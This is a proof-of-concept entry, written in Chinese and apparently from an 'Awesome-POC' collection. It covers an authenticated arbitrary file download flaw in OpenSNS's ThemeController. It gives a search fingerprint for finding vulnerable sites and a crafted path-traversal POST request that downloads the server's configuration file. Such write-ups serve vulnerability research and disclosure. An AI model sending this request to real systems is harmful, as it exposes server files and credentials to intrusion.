Awesome-POC/CMS漏洞/OpenSNS ThemeController.class.php 后台任意文件下载漏洞.md

41 lines
843 B
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# OpenSNS ThemeController.class.php 后台任意文件下载漏洞
## 漏洞描述
OpenSNS ThemeController.class.php文件中存在文件下载其中过滤不足导致可以下载服务器任意文件
## 漏洞影响
```
OpenSNS
```
## 网络测绘
```
icon_hash="1167011145"
```
## 漏洞复现
登录页面如下
![image-20220518154815562](images/202205181548621.png)
存在漏洞的文件为 `Application/Admin/Model/ThemeController.class.php`
![image-20220518154826306](images/202205181548388.png)
其中 theme参数为用户可控参数根据函数流程可以发现存在的文件将会打包为 zip文件提供下载
![image-20220518154838931](images/202205181548023.png)
构造请求
```
POST /admin.php?s=/theme/packageDownload
theme=../Conf/common.php
```
![image-20220518154851785](images/202205181548889.png)